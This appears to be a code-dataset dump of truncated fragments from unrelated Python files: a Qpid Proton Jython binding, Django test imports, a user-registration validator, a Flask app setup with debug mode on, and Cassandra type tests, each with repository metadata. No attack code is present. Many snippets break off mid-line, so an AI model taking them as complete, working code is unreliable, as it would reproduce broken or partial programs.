s and limitations # under the License. # from uuid import UUID import uuid try: bytes() except NameError: bytes = str from org.apache.qpid.proton import Proton, ProtonUnsupportedOperationException from org.apache.qpid.proton import InterruptException as Interrupt from org.apache.qpid.proton import TimeoutEx
ception as Timeout from org.apache.qpid.proton.engine import \ Transport as JTransport, Sender as JSender, Receiver as JReceiver, \ Sasl, SslDomain as JSslDomain, \ EndpointState, TransportException from org.apache.qpid.proton.message import \ MessageFormat, Message as JMessage from org.apache.qpid.pro...
jeffFranklin/uw-restclients
restclients/tests.py
Python
apache-2.0
4,530
0
from django.utils import unittest from restclients.test.uwnetid.subscription import EmailForwardingTest from restclients.test.util.date_formator import formatorTest from restclients.test.hfs.idcard import HfsTest from restclients.test.library.mylibinfo import MyLibInfoTest from restclients.test.digitlib.curric import ...
ients.test.sws.err500.dao import SWSTestDAO500 from restclients.test.sws.invalid_dao import SWSTestInvalidDAO from restclients.test.sws.file_implementation.dao import SWSTestFileDAO from restclients.test.sws.schedule_data import SWSTestScheduleData from restclients.test.sws.enrollment import SWSTestEnrollments from re...
STestSectionStatusData from restclients.test.sws.independent_study import SWSIndependentStudy from restclients.test.sws.instructor_no_regid import SWSMissingRegid from restclients.test.sws.registrations import SWSTestRegistrations from restclients.test.sws.campus import SWSTestCampus from restclients.test.sws.college ...
amitdhiman000/dais
user/control.py
Python
apache-2.0
2,830
0.034982
import re from .models import User class BaseControl(object): def parseRequest(post): return True def get_errors(self): return self.m_errors def get_values(self): return self.m_values def clean(self): pass #do nothing return True def validate(self): # do nothing return True def register(sel...
= False self.m_errors['email'] = '*Invalid email address' else: is_duplicate = User.objects.filter(email=self.m_user.email).exists() if is_duplicate: valid = False self.m_errors['email'] = '*Email already in use, Please try reset password' # check for password
if self.m_user.password is None or self.m_user.password == '': valid = False self.m_errors['pass'] = '*password can\'t be empty' else: length = len(self.m_user.password) ''' if length > 20: valid = False self.m_errors['pass'] = '*password is too long' elif length < 3: valid = False ...
serdimoa/vincenzoext
app/__init__.py
Python
bsd-3-clause
506
0.001976
import os from flask import Flask from flask.ext.sqlalchemy import SQLAlchemy from flask.ext.login import LoginManager from flask.ext.openid import OpenID from config import basedir from flask_debugtoolbar import DebugToolb
arExtension app = Flask(__name__) app.config.from_object('config') db = SQLAlchemy(app) lm = LoginManager() lm.init_app(app) lm.login_view = 'index' oid = OpenID(app, os.path.join(basedir, 'tmp')) toolbar = DebugToolbarExtension(app) app.debug = True
from app import views, models
aholmberg/python-driver
tests/integration/test_types.py
Python
apache-2.0
4,167
0.00144
from decimal import Decimal from datetime import datetime from uuid import uuid1, uuid4 import unittest from cassandra.cluster import Cluster class TypeTests(unittest.TestCase): def test_basic_types(self): c = Cluster() s = c.connect() s.execute(""" CREATE KEYSPACE typetests ...
n map<text, int>, o text, p timestamp, q uuid, r timeuuid, s varint, PRIMARY KEY (a, b) ) """) v1_uuid = uuid1() v4_uuid = uuid4() mydatetime = datetime(2013, 1, 1, 1...
ex'), # blob True, # boolean Decimal('1.234567890123456789'), # decimal 0.000244140625, # double 1.25, # float "1.2.3.4", # inet 12345, # int ['a', 'b', 'c'], # list<text> collection {1, 2, 3}, # set<int> collection...